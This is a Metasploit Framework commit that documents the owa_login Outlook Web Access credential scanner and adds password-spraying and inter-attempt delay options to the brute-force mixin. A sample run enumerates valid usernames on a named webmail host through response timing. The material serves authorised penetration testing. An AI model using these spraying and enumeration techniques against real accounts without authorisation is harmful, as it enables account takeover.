1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-10-29 18:07:27 +01:00

Land #9632, owa_login and auth_brute enhancements

This commit is contained in:
Brent Cook 2018-03-12 10:31:20 -05:00
commit d86dcbc237
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
3 changed files with 116 additions and 26 deletions

View File

@ -0,0 +1,60 @@
This module tests credentials on OWA 2003, 2007, 2010, 2013, and 2016 servers.
NOTE: This module assumes that login attempts that take a long time (>1 sec) to
return are using a valid domain username. This methodology does not work when
passing a full email address (user@domain.com). Full email addresses will not
be saved as potentially valid usernames unless we get a successful login.
## Verification Steps
1. Do: ```use auxiliary/scanner/http/owa_login```
2. Do: ```set RHOSTS [IP]```
3. Configure a user and password list by setting either `USERNAME`, `PASSWORD`, `USER_FILE`, or `PASS_FILE`.
4. Do: ```run```
## Scenarios
```
msf5 auxiliary(scanner/http/owa_login) > run
[*] webmail.hostingcloudapp.com:443 OWA - Testing version OWA_2013
[+] Found target domain: HOSTINGCLOUDAPP
[*] webmail.hostingcloudapp.com:443 OWA - Trying administrator : password
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.24
[+] server type: EXCH2016MBX02
[*] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN, BUT USERNAME IS VALID. 0.267791 'HOSTINGCLOUDAPP\administrator' : 'password': SAVING TO CREDS
[*] webmail.hostingcloudapp.com:443 OWA - Trying administrator : password1
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.24
[+] server type: EXCH2016MBX02
[*] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN, BUT USERNAME IS VALID. 0.273841 'HOSTINGCLOUDAPP\administrator' : 'password1': SAVING TO CREDS
[*] webmail.hostingcloudapp.com:443 OWA - Trying administrator : fido
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.22
[+] server type: EXCH2016MBX01
[*] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN, BUT USERNAME IS VALID. 0.270796 'HOSTINGCLOUDAPP\administrator' : 'fido': SAVING TO CREDS
[*] webmail.hostingcloudapp.com:443 OWA - Trying johndoe : password
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.22
[+] server type: EXCH2016MBX01
[-] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN. 2.046935 'HOSTINGCLOUDAPP\johndoe' : 'password' (HTTP redirect with reason 2)
[*] webmail.hostingcloudapp.com:443 OWA - Trying johndoe : password1
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.24
[+] server type: EXCH2016MBX02
[-] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN. 2.073391 'HOSTINGCLOUDAPP\johndoe' : 'password1' (HTTP redirect with reason 2)
[*] webmail.hostingcloudapp.com:443 OWA - Trying johndoe : fido
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.24
[+] server type: EXCH2016MBX02
[-] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN. 2.038717 'HOSTINGCLOUDAPP\johndoe' : 'fido' (HTTP redirect with reason 2)
[*] webmail.hostingcloudapp.com:443 OWA - Trying bob : password
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.24
[+] server type: EXCH2016MBX02
[*] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN, BUT USERNAME IS VALID. 0.289186 'HOSTINGCLOUDAPP\bob' : 'password': SAVING TO CREDS
[*] webmail.hostingcloudapp.com:443 OWA - Trying bob : password1
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.24
[+] server type: EXCH2016MBX02
[*] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN, BUT USERNAME IS VALID. 0.270616 'HOSTINGCLOUDAPP\bob' : 'password1': SAVING TO CREDS
[*] webmail.hostingcloudapp.com:443 OWA - Trying bob : fido
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.24
[+] server type: EXCH2016MBX02
[*] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN, BUT USERNAME IS VALID. 0.275251 'HOSTINGCLOUDAPP\bob' : 'fido': SAVING TO CREDS
[*] Auxiliary module execution completed
```

View File

@ -32,6 +32,8 @@ module Auxiliary::AuthBrute
OptBool.new('REMOVE_USER_FILE', [ true, "Automatically delete the USER_FILE on module completion", false]),
OptBool.new('REMOVE_PASS_FILE', [ true, "Automatically delete the PASS_FILE on module completion", false]),
OptBool.new('REMOVE_USERPASS_FILE', [ true, "Automatically delete the USERPASS_FILE on module completion", false]),
OptBool.new('PASSWORD_SPRAY', [true, "Reverse the credential pairing order. For each password, attempt every possible user.", false]),
OptInt.new('TRANSITION_DELAY', [false, "Amount of time (in minutes) to delay before transitioning to the next user in the array (or password when PASSWORD_SPRAY=true)", 0]),
OptInt.new('MaxGuessesPerService', [ false, "Maximum number of credentials to try per service instance. If set to zero or a non-number, this option will not be used.", 0]), # Tracked in @@guesses_per_service
OptInt.new('MaxMinutesPerService', [ false, "Maximum time in minutes to bruteforce the service instance. If set to zero or a non-number, this option will not be used.", 0]), # Tracked in @@brute_start_time
OptInt.new('MaxGuessesPerUser', [ false, %q{
@ -175,6 +177,7 @@ module Auxiliary::AuthBrute
initialize_class_variables(this_service,credentials)
end
prev_iterator = nil
credentials.each do |u, p|
# Explicitly be able to set a blank (zero-byte) username by setting the
# username to <BLANK>. It's up to the caller to handle this if it's not
@ -194,6 +197,19 @@ module Auxiliary::AuthBrute
next if @@credentials_skipped[fq_user]
next if @@credentials_tried[fq_user] == p
# Used for tracking if we should TRANSITION_DELAY
# If the current user/password values don't match the previous iteration we know
# we've made it through all of the records for that iteration and should start the delay.
if ![u,p].include?(prev_iterator)
unless prev_iterator.nil? # Prevents a delay on the first run through
if datastore['TRANSITION_DELAY'] > 0
vprint_status("Delaying #{datastore['TRANSITION_DELAY']} minutes before attempting next iteration.")
sleep datastore['TRANSITION_DELAY'] * 60
end
end
prev_iterator = datastore['PASSWORD_SPRAY'] ? p : u # Update the iterator
end
ret = block.call(u, p)
case ret
@ -422,9 +438,17 @@ module Auxiliary::AuthBrute
elsif user_array.empty?
combined_array = pass_array.map {|p| ["",p] }
else
user_array.each do |u|
if datastore['PASSWORD_SPRAY']
pass_array.each do |p|
combined_array << [u,p]
user_array.each do |u|
combined_array << [u,p]
end
end
else
user_array.each do |u|
pass_array.each do |p|
combined_array << [u,p]
end
end
end
end

View File

@ -254,14 +254,16 @@ class MetasploitModule < Msf::Auxiliary
else
# Login didn't work. no point in going on, however, check if valid domain account by response time.
if elapsed_time <= 1
report_cred(
ip: res.peerinfo['addr'],
port: datastore['RPORT'],
service_name: 'owa',
user: user
)
print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")
return :Skip_pass
unless user =~ /@\w+\.\w+/
report_cred(
ip: res.peerinfo['addr'],
port: datastore['RPORT'],
service_name: 'owa',
user: user
)
print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")
return :Skip_pass
end
else
vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (HTTP redirect with reason #{reason})")
return :Skip_pass
@ -300,14 +302,16 @@ class MetasploitModule < Msf::Auxiliary
if res.redirect?
if elapsed_time <= 1
report_cred(
ip: res.peerinfo['addr'],
port: datastore['RPORT'],
service_name: 'owa',
user: user
)
print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")
return :Skip_pass
unless user =~ /@\w+\.\w+/
report_cred(
ip: res.peerinfo['addr'],
port: datastore['RPORT'],
service_name: 'owa',
user: user
)
print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")
return :Skip_pass
end
else
vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (response was a #{res.code} redirect)")
return :skip_pass
@ -326,14 +330,16 @@ class MetasploitModule < Msf::Auxiliary
return :next_user
else
if elapsed_time <= 1
report_cred(
ip: res.peerinfo['addr'],
port: datastore['RPORT'],
service_name: 'owa',
user: user
)
print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")
return :Skip_pass
unless user =~ /@\w+\.\w+/
report_cred(
ip: res.peerinfo['addr'],
port: datastore['RPORT'],
service_name: 'owa',
user: user
)
print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")
return :Skip_pass
end
else
vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (response body did not match)")
return :skip_pass